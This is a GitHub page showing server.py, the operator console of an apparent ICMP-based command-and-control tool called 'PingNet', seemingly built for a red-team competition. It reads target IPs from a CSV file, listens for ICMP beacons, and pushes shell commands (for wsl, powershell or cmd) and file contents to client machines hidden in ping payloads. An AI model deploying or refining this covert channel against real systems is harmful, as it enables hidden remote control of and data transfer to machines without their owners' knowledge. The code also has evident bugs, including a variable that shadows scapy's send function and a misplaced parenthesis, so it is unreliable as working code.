-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
112 lines (93 loc) · 3.58 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from scapy.all import *
import csv
import sys
import threading
teams = []
cmdproc = [["l", "wsl"], ["p", "powershell"], ["c", "cmd"]]
verbose = False
iplook = lambda id : teams[int(id[0])-1][int(id[1])-1][1]
def setup():
# int(input("How many teams are competing?"))
for i in range(2):
teams.append([])
# teamips = input("What is the CSV file containing team info")
with open("test.txt") as file:
csv_reader = csv.reader(file, delimiter=',')
for row in csv_reader:
if len(row) == 0:
break
else:
teams[int(row[0]) - 1].append([row[1], row[2]])
print(teams)
shell()
def sniffer():
sniff(filter="icmp", prn=resp_mgmt)
# These packets will come in periodically. The heartbeat will just have 1pkt that will have the str hb
def resp_mgmt(pkt):
if str(pkt.getlayer(ICMP).type) == "8":
print("True")
print(pkt.show())
print(pkt.getlayer(ICMP).type)
data = pkt.getlayer(ICMP).load.decode()
print(data[1::])
def shell():
global verbose
print("Welcome to PingNet")
while True:
cmd = input("Pingnet:")
if cmd == "exit":
print("Closing")
break
elif cmd == "help":
print("\nPingnet Help\ncallbacks(NI) - view all systems that have beat back\nexit - exits ping net\nhelp - Displays this help menu\nlookup <team number(NI) or specific device> - Lookup infomration on a specific device\nlist(NI) - list all of the stored systems\nsend - Enters the send prompts to send either files(not implemented) or commands to the client device\n")
elif cmd == "lookup":
lookup = input("What information to pull:")
try:
print(iplook(lookup))
except IndexError:
print("Out of bounds")
except ValueError:
print("Why a negative number")
elif cmd == "send":
send = []
send.append(input("CMD Processor:"))
send.append(input("Command:"))
id = input("Target:") # this is going to use the numbering system that is already in use for organization of the teams and their boxes
msg = ' '.join(send)
rpckt = send(IP(dst=iplook(id))/ICMP(type=1)/msg)
if verbose:
print(f'Send list:{send}')
print(f'Msg:{msg}')
print(f'Target IP:{iplook(id)}')
print(f'Return Packet:\n {rpckt.show()}')
elif cmd == "file":
id = input("Target: ")
file_transfer(input("What File would you like to send:"), iplook(id))
else:
print("Invalid command")
def heartbeat():#Using this because ping has aknowledgement already
print("THIS IS BEAT")
def file_transfer(file, id):#can maybe add a speed system to control when stuff gets sent
with open(file, "rb") as myfile:
data = myfile.read()
print(data)
send(IP(dst=iplook(id))/ICMP()/f'f1{file}')
time.sleep(1)
send(IP(dst=iplook(id)/ICMP()/f'f2{data}'))
def main():
global verbose
try:
if sys.argv[1] == "-v":
verbose = True
finally:
t1 = threading.Thread(target=setup)
t2 = threading.Thread(target=sniffer)
t1.start()
t2.start()
t1.join()
t2.join()
#setup()
#shell()
main()
# The reason for so many inputs is because I want to see how im going to lay out the command structure. Once that is done
# Im going to be converting it into arguments to condense the program as well as making it easier to use.